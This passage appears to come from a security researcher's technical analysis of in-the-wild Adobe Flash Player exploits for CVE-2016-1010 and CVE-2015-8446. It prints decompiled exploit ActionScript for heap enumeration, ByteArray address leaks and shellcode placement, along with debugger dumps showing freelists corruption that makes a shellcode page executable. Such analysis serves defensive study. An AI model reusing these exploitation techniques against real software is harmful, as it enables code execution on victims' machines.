39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40];
     kSizeClassIndex32 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 17, 18, 18, 19, 19, 20, 21, 22, 23, 24, 24, 25, 26, 26, 27, 27,
28, 28, 28, 29, 29, 29, 30, 30, 30, 31, 31, 31, 31, 32, 32, 32, 32, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34, 35, 35, 35, 35, 35, 35, 35, 35,
35, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38,
38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40];
            …
  }
  public function GetSizeClassIndex (arg_size:int) : int
  {
    if(is64bit)
    {
      return kSizeClassIndex64[arg_size + 7 >> 3];
    }
    return kSizeClassIndex32[arg_size + 7 >> 3];
  }
```

Figure 33 GetSizeClassIndex

This routine has similarity to the *FixedMalloc::FindAllocatorForSize* routine from the Avmplus code.

```
  REALLY_INLINE FixedAllocSafe* FixedMalloc::FindAllocatorForSize(size_t size)
  {
    …
    // 'index' is (conceptually) "(size8>>3)" but the following
    // optimization allows us to skip the &~7 that is redundant
    // for non-debug builds.
#ifdef MMGC_64BIT
    unsigned const index = kSizeClassIndex[((size+7)>>3)];
#else
    // The first bucket is 4 on 32-bit systems, so special case that rather
    // than double the size-class-index table.
    unsigned const index = (size <= 4) ? 0 : kSizeClassIndex[((size+7)>>3)];
#endif
    …
    return &m_allocs[index];
  }
```

Figure 34 FixedMalloc::FindAllocatorForSize

```
  class FixedMalloc
  {
    ...
    FixedAllocSafe m_allocs[kNumSizeClasses];  // The array of size-segregated allocators for small objects, set in InitInstance
    …
```

Figure 35 m_allocs array declaration

The following code shows the *kSizeClassIndex* array from the Avmplus code base. It has same class index values.

```
#ifdef MMGC_64BIT
  /*static*/ const uint8_t FixedMalloc::kSizeClassIndex[kMaxSizeClassIndex] = {
    0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
    15, 16, 17, 18, 19, 20, 21, 22, 22, 23, 23, 24, 24, 25, 26, 26,
    27, 27, 28, 28, 28, 29, 29, 30, 30, 30, 30, 31, 31, 31, 32, 32,
    32, 32, 32, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34,
    35, 35, 35, 35, 35, 35, 35, 35, 35, 36, 36, 36, 36, 36, 36, 36,
    36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37,
    37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38,
    38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 39,
    39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
    39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
    39, 39, 39, 39, 39, 39, 39, 39, 39, 40, 40, 40, 40, 40, 40, 40,
    40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
    40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
    40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
    40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
    40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40
  };

#else
  /*static*/ const uint8_t FixedMalloc::kSizeClassIndex[kMaxSizeClassIndex] = {
   0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
   16, 17, 17, 18, 18, 19, 19, 20, 21, 22, 23, 24, 24, 25, 26, 26,
   27, 27, 28, 28, 28, 29, 29, 29, 30, 30, 30, 31, 31, 31, 31, 32,
   32, 32, 32, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34,
   35, 35, 35, 35, 35, 35, 35, 35, 35, 36, 36, 36, 36, 36, 36, 36,
   36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37,
   37, 37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38,
   38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38,
   39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
   39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
   39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 40, 40, 40, 40, 40, 40,
   40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
   40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
   40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
   40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
   40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40
  };
#endif
```

Figure 36 kSizeClassIndex from Avmplus

ParseFixedAllocHeader

FixedAlloc is a data structure that contains memory pointer to the *FixedBlock* linked lists. Memory blocks with the same size will be chained in these linked list structures.

```
 class FixedAlloc
 {
...
 private:
  GCHeap *m_heap;      // The heap from which we obtain memory
  uint32_t m_itemsPerBlock;  // Number of items that fit in a block
  uint32_t m_itemSize;    // Size of each individual item
  FixedBlock* m_firstBlock;  // First block on list of free blocks
  FixedBlock* m_lastBlock;  // Last block on list of free blocks
  FixedBlock* m_firstFree;  // The lowest priority block that has free items
  size_t  m_numBlocks;   // Number of blocks owned by this allocator
...
```

Figure 37 FixedAlloc data structure

ParseFixedAllocHeader (cvb45) function parses the *FixedAlloc* header. It uses *ReadPointer (ghgfhf12341)* RW primitive to read pointer size data from the memory location here.

```
 public function ParseFixedAllocHeader(_arg_1:ByteArray, _arg_2:___Int64):Object
  {
   var _local_3:* = null;
   if (cbvd43) ← true when major version >= 20
   {
    return ({
     "m_heap":jjjj222222lpmc.ReadPointer(_arg_1),
     "m_unknown":_arg_1.readUnsignedInt(),
     "m_itemsPerBlock":_arg_1.readUnsignedInt(),
     "m_itemSize":_arg_1.readUnsignedInt(),
     "m_firstBlock":jjjj222222lpmc.ReadPointer(_arg_1),
     "m_lastBlock":jjjj222222lpmc.ReadPointer(_arg_1),
     "m_firstFree":jjjj222222lpmc.ReadPointer(_arg_1),
     "m_maxAlloc":jjjj222222lpmc.ReadPointer(_arg_1),
     "m_isFixedAllocSafe":_arg_1.readByte(),
     "m_spinlock":jjjj222222lpmc.ReadPointer(_arg_1),
     "fixedAllocAddr":_arg_2
    });
   };
   return ({
    "m_heap":jjjj222222lpmc.ReadPointer(_arg_1),
    "m_unknown":0,
    "m_itemsPerBlock":_arg_1.readUnsignedInt(),
    "m_itemSize":_arg_1.readUnsignedInt(),
    "m_firstBlock":jjjj222222lpmc.ReadPointer(_arg_1),
    "m_lastBlock":jjjj222222lpmc.ReadPointer(_arg_1),
    "m_firstFree":jjjj222222lpmc.ReadPointer(_arg_1),
    "m_maxAlloc":jjjj222222lpmc.ReadPointer(_arg_1),
    "m_isFixedAllocSafe":_arg_1.readByte(),
    "m_spinlock":jjjj222222lpmc.ReadPointer(_arg_1),
    "fixedAllocAddr":_arg_2
   });
  }
```

Figure 38 ParseFixedAllocHeader

From the following example, the *ParseFixedAllocHeaderBySize (ghfgfh23)* gets 0x7f0 as a heap size and returns the parsed structure for the heap block.

```
Enter: Jdfgdfgd34/instance/ghfgfh23(000007f0, True)
...
Return: Jdfgdfgd34/instance/ghfgfh23 [object Object]

* Return: Jdfgdfgd34/instance/ghfgfh23 [object Object]
 Location: Jdfgdfgd34/instance/ghfgfh23 block id: 0 line no: 0
 Call Stack:
  Jdfgdfgd34/ghfgfh23()
  Jdfgdfgd34/hhh222()
  J34534534/fdgdfg45345345()
  J34534534/jhfjhhg2432324()
  ...
 Type: Return
 Method: Jdfgdfgd34/instance/ghfgfh23
 Return Value:
  Object:
   m_itemSize: 0x7f0 (2032) ← current item size
   fixedAllocAddr:
    high: 0x0 (0)
    low: 0x6fb7c36c (1874314092)
   m_firstFree:
    high: 0x0 (0)
    low: 0x0 (0)
   m_lastBlock:
    high: 0x0 (0)
    low: 0xc0d7000 (202207232)
   m_spinlock:
    high: 0x0 (0)
    low: 0x0 (0)
   m_unknown: 0x1 (1)
   m_isFixedAllocSafe: 0x1 (1)
   m_maxAlloc:
    high: 0x0 (0)
    low: 0x1 (1)
   m_itemsPerBlock: 0x2 (2)
   m_heap:
    high: 0x0 (0)
    low: 0x6fb7a530 (1874306352)
   m_firstBlock:
    high: 0x0 (0)
    low: 0xc0d7000 (202207232)
```

Figure 39 ParseFixedAllocHeaderBySize (ghfgfh23)

The returned structure has the heap block header structure. The DWORD at offset 0xc location has the size of the allocated structure (0x7f0) it looked for.

```
0:000> dds 6fb7c36c <-- fixedAllocAddr
6fb7c36c 6fb7a530 <-- m_heap
6fb7c370 00000001 <-- m_unknown
6fb7c374 00000002 <-- m_itemsPerBlock
6fb7c378 000007f0 <-- m_itemSize
6fb7c37c 0c0d7000 <-- m_firstBlock
6fb7c380 0c0d7000 <-- m_lastBlock
6fb7c384 00000000 <-- m_firstFree
6fb7c388 00000001 <-- m_maxAlloc
6fb7c38c 00000001
```

Figure 40 FixedAlloc structure dump

ParseFixedBlock

ParseFixedBlock (vcb4) is used in the *EnumerateFixedBlocks (hhh222)* function to enumerate through *FixedBlock* linked lists.

```
public function EnumerateFixedBlocks (param1:int, param2:Boolean, param3:Boolean = true, param4:___Int64 = undefined) : Array
{
  var fixedBlockAddr:* = null as ___Int64;
  var _loc8_:* = null as ___Int64;
  var _loc9_:* = 0;
  var _loc10_:* = null as ByteArray;
  var fixedBlockInfo:* = null;
  var _loc5_:Array = [];
  var _loc6_:* = ParseFixedAllocHeaderBySize(param1,param2);
  if(param3)
  {
   fixedBlockAddr = _loc6_.m_firstBlock;
  }
  else
  {
   fixedBlockAddr = _loc6_.m_lastBlock;
  }
  while(!(jjjj222222lpmc.IsZero(fixedBlockAddr)))
  {
   ...
   _loc10_ = gg2rw.readn(fixedBlockAddr,Jdfgdf435GwgVfg.Hfghgfh3); ← read by chunk. _loc10_: ByteArray
   fixedBlockInfo = ParseFixedBlock(_loc10_, fixedBlockAddr); ← fixedBlockAddr: size
   _loc5_.push(fixedBlockInfo);
   if(param3)
   {
     fixedBlockAddr = fixedBlockInfo.next;
   }
   else
   {
     fixedBlockAddr = fixedBlockInfo.prev;
   }
  }
  return _loc5_;
```

Figure 41 ParseFixedBlock loop on FixedBlock linked lists

The *FixedBlock* structure looks like following.

```
struct FixedBlock
{
  void* firstFree;   // First object on the block's free list
  void* nextItem;   // First object free at the end of the block
  FixedBlock* next;   // Next block on the list of blocks (m_firstBlock list in the allocator)
  FixedBlock* prev;   // Previous block on the list of blocks
  uint16_t numAlloc;   // Number of items allocated from the block
  uint16_t size;    // Size of objects in the block
  FixedBlock *nextFree;  // Next block on the list of blocks with free items (m_firstFree list in the allocator)
  FixedBlock *prevFree;  // Previous block on the list of blocks with free items
  FixedAlloc *alloc;   // The allocator that owns this block
  char  items[1];   // Memory for objects starts here
};
```

Figure 42 FixedBlock definition

ParseFixedBlock (vcb4) parses *FixedBlock* based upon the structure in the code.

```
public function ParseFixedBlock (param1:ByteArray, param2:___Int64) : Object
  {
    var _loc3_:* = {
     "firstFree":jjjj222222lpmc.ReadPointer(param1),
     "nextItem":jjjj222222lpmc.ReadPointer(param1),
     "next":jjjj222222lpmc.ReadPointer(param1),
     "prev":jjjj222222lpmc.ReadPointer(param1),
     "numAlloc":param1.readUnsignedShort(),
     "size":param1.readUnsignedShort(),
     "prevFree":jjjj222222lpmc.ReadPointer(param1),
     "nextFree":jjjj222222lpmc.ReadPointer(param1),
     "alloc":jjjj222222lpmc.ReadPointer(param1),
     "blockData":param1,
     "blockAddr":param2
    };
    return _loc3_;
  }
```

Figure 43 ParseFixedBlock

ByteArray address leak

ByteArray address leak technique was used by the in-the-wild CVE-2016-1010 exploit.

GetByteArrayAddress

GetByteArrayAddress (hgfh342) gets first parameter as the expected object's size and enumerates all objects in the *MMgc* memory with that size and returns parsed information on all memory blocks it finds.

GetByteArrayAddress (hgfh342) returns array of [*ByteArray::Buffer*,*ByteArray::Buffer.array*] pairs. The *ByteArray::Buffer.array* is the address where the exploit can put its own data. *GetByteArrayAddress (hgfh342)* uses *EnumerateFixedBlocks (hhh222)* to locate heap address of the *ByteArray* object. When it calls *EnumerateFixedBlocks (hhh222),* it passes the expected *ByteArray* object size (40 or 24 depending on the Flash version running).

```
public function J34534534(_arg_1:*, _arg_2:Object, _arg_3:Jdfgdfgd34):void
{
  …
  hgfh4343 = 24;
  if ((((nnfgfg3.nfgh23[0] >= 20)) || ((((nnfgfg3.nfgh23[0] == 18)) && ((nnfgfg3.nfgh23[3] >= 324)))))) ← Flash version check
  {
    …
    hgfh4343 = 40;
  };
  …
}

public function GetByteArrayAddress (param1:ByteArray, param2:Boolean = false, param3:int = 0) : Array
{
  …
  var _loc9_:Array = jhghjhj234544. EnumerateFixedBlocks (hgfh4343,true); ← hgfh4343 is 40 or 24 depending on the Flash version – this
is supposed to be the ByteArray object size
}
```

Figure 44 GetByteArrayAddress uses EnumerateFixedBlocks calls

GetByteArrayAddress (hgfh342) uses *EnumerateFixedBlocks (hhh222)* to retrieve all blocks with specific sizes and searches for specific markers in the *ByteArray*.

```
public function GetByteArrayAddress(_arg_1:ByteArray, _arg_2:Boolean=false, marker:int=0):Array
{
 …
 var fixedBlockArr:Array = jhghjhj234544. EnumerateFixedBlocks(hgfh4343, true);
 var _local_10:int;
 var fixedBlockArrLength:int = fixedBlockArr.length;
 while (_local_10 < fixedBlockArrLength)
 {
  i = _local_10++;
  _local_13 = ((Jdfgdf435GwgVfg.Hfghgfh3 - gfhgfhg44444.cvhcvb345) / hgfh4343);
  _local_14 = gfhgfhg44444.cvhcvb345;
  _local_15 = fixedBlockArr[i].blockData;
  while (_local_13 > 0)
  {
   _local_15.position = _local_14;
   if (bgfh4)
   {
    _local_15.position = (_local_14 + bbfgh4);
    _local_16 = _local_15.readUnsignedInt();
    _local_15.position = (_local_14 + bgfhgfh34);
    _local_17 = _local_15.readUnsignedInt();
    if ((_local_16 == _local_5))
    {
     _local_15.position = (_local_14 + bbgfgfh4);
     _local_7 = gggexss.AddInt64(fixedBlockArr[i].blockAddr, _local_14);
     _local_6 = jhghjhj234544.jjjj222222lpmc.ReadPointerSizeData(_local_15, false);
     if (((marker!= (0)) && (((!((_local_6.high == _local_8.high))) || (!((_local_6.low == _local_8.low)))))))
     {
      if (hhiwr.read4(_local_6) == marker) ← Compare marker
      {
       return ([_local_7, _local_6]);
      };
     }
     else
     {
      _local_18 = new ___Int64(0, 0);
      _local_8 = _local_18;
      if (((!((_local_6.high == _local_8.high))) || (!((_local_6.low == _local_8.low)))))
      {
       return ([_local_7, _local_6]);
      };
     };
    };
   }
…
   _local_14 = (_local_14 + hgfh4343);
   _local_13--;
  };
```

Figure 45 GetByteArrayAddress (hgfh342) heuristic search on marker values

```
public function AllocateByteArrays():Boolean
{
 …
 var randomInt:int = Math.ceil(((Math.random() * 0xFFFFFF) + 1));
 …
 g4 = GetByteArrayAddress(freelists_bytearray, false, randomInt)[1]; ← MMgc structure address
 hg45 = GetByteArrayAddress(shellcode_bytearray, false, randomInt)[1]; ← Shellcode BytreArray
 …
}
```

Figure 46 randomInt is randomly generated as marker

Acquiring GCBlock structure

With the CVE-2015-8446 exploit in the wild, it used memory predictability to get access to the internal data structure of Flash Player. After heap-spraying with *Array* objects, the address 0x1a000000 is predictably allocated with a *GCBlock* object*.* 0x1a000008 is the address the exploit is looking at to get the base for *GC* object.

```
ReadInt 1a000004 000007b0 <-- GCBlock.size
ReadInt 1a000008 0c3ff000 <-- GCBlock.gc
```

Figure 47 Reading fixed memory location after heap spraying

The following code shows where this *GCBlockHeader* is defined.

```
/**
 * Common block header for GCAlloc and GCLargeAlloc.
 */
struct GCBlockHeader
{
  uint8_t     bibopTag;  // *MUST* be the first byte. 0 means "not a bibop block." For others, see core/atom.h.
  uint8_t     bitsShift; // Right shift for lower 12 bits of a pointer into the block to obtain the mark bit item for that pointer
              // bitsShift is only used if MMGC_FASTBITS is defined but its always present to simplify header layout.
  uint8_t     containsPointers;  // nonzero if the block contains pointer-containing objects
  uint8_t     rcobject;     // nonzero if the block contains RCObject instances
  uint32_t    size;  // Size of objects stored in this block
  GC*       gc;   // The GC that owns this block
  GCAllocBase*  alloc; // the allocator that owns this block
  GCBlockHeader* next;  // The next block in the list of blocks for the allocator
  gcbits_t*    bits;  // Variable length table of mark bit entries
};
```

Figure 48 GCBlockHeader structure

The value at 0x1a000008 is written by *GCAlloc::CreateChunk* method after the *GC* structure pointer is acquired. This raw GC structure is later used for corruption in JIT internal data and as the first step of the shellcode execution, the exploit chooses call to *VirtualAlloc* as its first ROP call later.

```
447d8020 00000000
Evaluate expression: 1854116879 = 6e83940f
        0:035> u 6e83940f
        6e83940f ff152874ca6e  call  dword ptr [Flash!_imp__VirtualAlloc (6eca7428)]
        6e839415 5d      pop   ebp
        6e839416 c3      ret
```

Figure 49 ROP gadget used in this exploit

JIT attacks

With the introduction of CFG, the attackers are moving into the JIT space. We already saw a conceptual attack method presented by Francisco Falcon. Runtime CFG code in JIT will mitigate this exploitation method. From the real world exploits, CVE-2016-1010 and [CVE-2015-8446](CVE-2015-8446), we observed more advanced attack methods including a method to corrupt the return addresses on the stack, which is a known limitation of CFG. Details of this attack method will be discussed in our future research. Here, we are going to share some details on the *freelists* abuse method and the *MethodInfo._implGPR* corruption method.

Freelists manipulation

For the CVE-2016-1010 exploit, the location where shellcode is written and executed is very interesting as it involves *freelists* manipulation technique. The *StartExploit (hgfghfgj2)* method calls the *AllocateByteArrays (jhgjhj22222)* method and uses *shellcode_bytearray (jh5) ByteArray* to write shellcode bytes to the heap area.

```
public function StartExploit(_arg_1:ByteArray, _arg_2:int):Boolean
{
  var _local_4:int;
  var _local_11:int;
  if (!(AllocateByteArrays ()))
  {
    return (false);
  };
  ...
  _local_8 = _local_12;
  shellcode_bytearray.position = (_local_8.low + 0x1800); <-- a little bit inside the heap region, to be safe not to be cleared up
  shellcode_bytearray.writeBytes(_arg_1); <-- Writing shellcode to target ByteArray.
```

Figure 50 Allocating and writing shellcode on ByteArray buffer

The CVE-2016-1010 exploit uses *GetByteArrayAddress (hgfh342)* to get virtual address of the memory area where it can put fake *freelists*. For example, from the following data structure, 0x16893000 is the virtual memory location where the exploit puts fake *freelists* data structure.

```
- Call Return: int.hgfh342 Array
  Location: J34534534/instance/jhgjhj22222 block id: 0 line no: 64
  Method Name: hgfh342
  Return Object ID: 0x210 (528)
  Object Type: int
  Return Value:
   Object:
    high: 0x0 (0)
    low: 0xc122db8 (202517944)
    high: 0x0 (0)
    low: 0x16893000 (378089472) ← memory for fake freelists structure
   Object Type: Array
   Log Level: 0x3 (3)
   Name:
  Object Name:
  Object ID: 0x1d1 (465)
```

Figure 51 GetByteArrayAddress (hgfh342) to allocate a ByteArray and return it's virtual address

The *GetByteArrayAddress (hgfh342)* method is used to retrieve 2 heap areas. These areas are marked as RW permission originally, as normal *ByteArray* memory is. The *AllocateByteArrays (jhgjhj22222)* method is used to allocate *ByteArray* and return raw heap addresses used for *freelists* and shellcode. The *shellcode_bytearray (jh5)* is the *ByteArray* that will hold shellcode, and *freelists_bytearray* (*jjgfgh3)* is the *ByteArray* structure that will hold fake *freelists* memory to be used. The *GetByteArrayAddress (hgfh342)* method is used to retrieve virtual address of each *ByteArray*s.

```
    public function AllocateByteArrays():Boolean
    {
     …
     var randomInt:int = Math.ceil(((Math.random() * 0xFFFFFF) + 1));
     // Create shellcode ByteArray
     shellcode_bytearray = new ByteArray();
     shellcode_bytearray.endian = Endian.LITTLE_ENDIAN;
     shellcode_bytearray.writeUnsignedInt(_local_1);
     shellcode_bytearray.length = 0x20313;

     // Create freelists ByteArray
     freelists_bytearray = new ByteArray();
     freelists_bytearray.endian = Endian.LITTLE_ENDIAN;
     freelists_bytearray.writeUnsignedInt(_local_1);
     freelists_bytearray.length = 0x1322;

     g4 = GetByteArrayAddress(freelists_bytearray, false, randomInt)[1]; ← Freelists ByteArray
     hg45 = GetByteArrayAddress(shellcode_bytearray, false, randomInt)[1]; ← Shellcode ByteArray
     _local_2 = hg45;
     _local_4 = new ___Int64(0, 0);
     _local_3 = _local_4;
     return (((((!((_local_2.high == _local_3.high))) || (!((_local_2.low == _local_3.low))))) && (((!((_local_2.high == _local_3.high))) ||
(!((_local_2.low == _local_3.low)))))));
    }
```

Figure 52 Allocating ByteArray objects and leaking their virtual address

The exploit abuses the *freelists* array from the *GCHeap* object. The *freelists* contains the memory that are freed and reserved for future allocations. The *freelists* is an array of the *HeapBlock* data structure.

```
class GCHeap
{
 …
 Region *freeRegion;
 Region *nextRegion;
 HeapBlock *blocks;
 size_t blocksLen;
 size_t numDecommitted;
 size_t numRegionBlocks;
 HeapBlock freelists[kNumFreeLists];
 size_t numAlloc;
```

Figure 53 GCHeap class

The exploit links the controlled memory structure at 0x16893000 to the *freelists* element.

```
Enter: A1/instance/write4(00000000`6fb7bbb0, 16893000)
Enter: A1/instance/read4(00000000`6fb7bbb4)
Return: A1/instance/read4 6fb7bba4
Enter: A1/instance/write4(00000000`6fb7bbb4, 16893000)
Return: A1/instance/write4 null
Return: A1/instance/write4 null
```

Figure 54 Linking fake memory structure from freelists array element

The operation from the exploit code modifies the *prev* and *next* pointer from the *HeapBlock* structure.

```
// Block struct used for free lists and memory traversal
class HeapBlock
{
public:
 char *baseAddr;  // base address of block's memory
 size_t size;     // size of this block
 size_t sizePrevious; // size of previous block
 HeapBlock *prev;  // prev entry on free list ← Corruption target
 HeapBlock *next;  // next entry on free list ← Corruption target
 bool committed;  // is block fully committed?
 bool dirty;    // needs zero'ing, only valid if committed
```

Figure 55 HeapBlock structure

0x6fb7bbb0 is the element of the *freelists* array which is the *HeapBlock* structure.

The following memory dump shows how the exploit tries to corrupt the memory in this *HeapBlock* structure.

```
0:000> dds 6fb7bba4 ← HeapBlock structure
6fb7bba4 00000000
6fb7bba8 00000000
6fb7bbac 00000000
6fb7bbb0 6fb7bba4 HeapBlock.prev ← Corrupted to 16893000
6fb7bbb4 6fb7bba4 HeapBlock.next ← Corrupted to 16893000
6fb7bbb8 00000101
6fb7bbbc 00000000
6fb7bbc0 00000000
6fb7bbc4 00000000
```

Figure 56 Original memory contents of freelists at 0x6fb7bbb0

Shellcode will be allocated inside 0x16dc3000 *ByteArray* memory. This virtual address was retrieved using the *GetByteArrayAddress (hgfh342)* function.

```
- Call Return: int.hgfh342 Array
  Location: J34534534/instance/jhgjhj22222 block id: 0 line no: 76
  Method Name: hgfh342
  Return Object ID: 0x248 (584)
  Object Type: int
  Return Value:
    Object:
      high: 0x0 (0)
      low: 0xc122d40 (202517824)
      high: 0x0 (0)
      low: 0x16dc3000 (383528960) <--- base address of shellocode ByteArray
    Object Type: Array
    Log Level: 0x3 (3)
    Name:
  Object Name:
  Object ID: 0x1d1 (465)
```

Figure 57 Locating shellcode ByteArray buffer address

The exploit puts the address to shellcode memory (0x16dc3000) as the first DWORD member for the fake *freelists* at 0x16893000.

```
0:000> dds 16893000
16893000 16dc3000 <--- pointer to shellcode memory
16893004 00000010
16893008 00000000
1689300c 00000000
16893010 00000000
16893014 00000001
16893018 41414141
1689301c 41414141
16893020 41414141
16893024 41414141
```

Figure 58 0x16893000 is where the fake freelists element is put

```
0:000> dds 16dc3000 <-- shellcode ByteArray buffer, JIT operation target
16dc3000 00000000
16dc3004 00000000
16dc3008 16dd2fec
16dc300c 00000001
16dc3010 16dd2e6c
16dc3014 00000000
16dc3018 00000000
16dc301c 00000000
```

Figure 59 16dc3000 is the memory area where shellcode is copied

The exploit overwrites *HeapBlock.prev* at 0x6fb7bbb0 and *HeapBlock.next* at 0x6fb7bbb4 to the fake *freelists* structure at 0x16893000 which has a baseAddr pointer to shellcode memory at 0x16dc3000.

```
Enter: A1/instance/read4(00000000`6fb7bbb4)
Return: A1/instance/read4 6fb7bba4

Return: A1/instance/write4 null
Enter: A1/instance/write4(00000000`6fb7bbb0, 16893000)
Return: A1/instance/write4 null
Enter: A1/instance/write4(00000000`6fb7bbb4, 16893000)
```

Figure 60 Overwriting HeapBlock.prev and HeapBlock.next

The memory at 0x16893000 is where fake *HeapBlock* will be located. Address 0x16dc3000 is the heap area where shellcode will be written. This heap area is with protection mode of RW. The following shows the page information of the shellcode memory from 0x16dc3000.

```
0:007> !address 16dc3000
Usage:        <unknown>
Base Address:     16cf9000
End Address:     17176000
Region Size:     00200000 (  2.000 MB)
State:        00001000    MEM_COMMIT
Protect:       00000004    PAGE_READWRITE ← Protection mode is RW
Type:         00020000    MEM_PRIVATE
Allocation Base:    16cf9000
Allocation Protect:   00000001    PAGE_NOACCESS

Content source: 1 (target), length: 1000
```

Figure 61 Original memory permission of 0x16dc3000

The exploit writes a shellcode address (eax) to the fake *freelists* location (ecx).

```
Breakpoint 1 hit
eax=16dc3000 ebx=0d5f20d0 ecx=16893000 edx=0b551288 esi=150947c0 edi=0d552020
eip=6d462537 esp=0b551244 ebp=0b551244 iopl=0     nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b      efl=00200246

...
6d462535 8901      mov   dword ptr [ecx],eax ← ecx: freelists address, eax: shellcode address
```

Figure 62 freelists[0]=shellcode block

The memory location pointed to by the fake *freelists* is later referenced by the *GCHeap::AllocBlock* call. Shellcode at 0x16dc3000 will be reclaimed by GCHeap::AllocBlock as a JIT memory with RX permission.

```
0:026> g
Breakpoint 1 hit
eax=16dc3000 ebx=16893000 ecx=00000000 edx=00000000 esi=00000010 edi=00000001
eip=6d591cc2 esp=0b550ed8 ebp=0b550efc iopl=0     nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b      efl=00200297
Flash!MMgc::alignmentSlop+0x2 [inlined in Flash!MMgc::GCHeap::Partition::AllocBlock+0x72]:
6d591cc2 8bd7      mov   edx,edi
...
0:026> u eip -6
...
6d591cc0 8b03      mov   eax,dword ptr [ebx] ← retrieving heap block from free list
  0:026> r ebx
  ebx=16893000

6d591cc2 8bd7      mov   edx,edi
6d591cc4 c1e80c     shr   eax,0Ch
6d591cc7 23c1      and   eax,ecx
6d591cc9 2bd0      sub   edx,eax
6d591ccb 23d1      and   edx,ecx
```

Figure 63 Referencing freelists[0]

The code that actually references the *freelists* looks like following.

```
GCHeap::HeapBlock* GCHeap::AllocBlock(size_t size, bool& zero, size_t alignment)
{
 uint32_t startList = GetFreeListIndex(size);
 HeapBlock *freelist = &freelists[startList]; ← retrieving heap block from free list

 HeapBlock *decommittedSuitableBlock = NULL;
 …
```

Figure 64 GCHeap::AllocBlock

After some calculations from *GetFreeListIndex*, the memory allocation function picks up the memory block from *freelists* and returns page starts from 0x16dc3000 which contains the shellcode.

The following *doInitDelay* method is the JIT code that is being allocated and emitted when the fake *freelists* is used. The method *doInitDelay* is actually a callback function that is called regularly by the Flash Player event system.

```
public dynamic class Boot extends MovieClip
{
...
 public function doInitDelay(_arg_1:*):void
 {
  Lib.current.removeEventListener(Event.ADDED_TO_STAGE, doInitDelay);
  start();
 }


 public function start():void
 {
 ...
  if (_local_2.stage == null)
  {
   _local_2.addEventListener(Event.ADDED_TO_STAGE, doInitDelay);
...
  };
 }
```

Figure 65 doInitDelay method is called periodically

When this call is called, a memory block will be reserved and *VirtualProtect* call is called upon this newly allocated memory to make it RX. In this case, the *MMgc* system will reserve the memory from the fake *freelists* element.

```
0:006> !address 16dc3000
Usage:        <unknown>
Base Address:      16dc3000
End Address:      17050000
Region Size:      00010000 ( 64.000 kB)
State:        00001000    MEM_COMMIT
Protect:       00000020    PAGE_EXECUTE_READ
Type:         00020000    MEM_PRIVATE
Allocation Base:    16cf9000
Allocation Protect:   00000001    PAGE_NOACCESS


Content source: 1 (target), length: 1000
```

Figure 66 The target memory is now RX

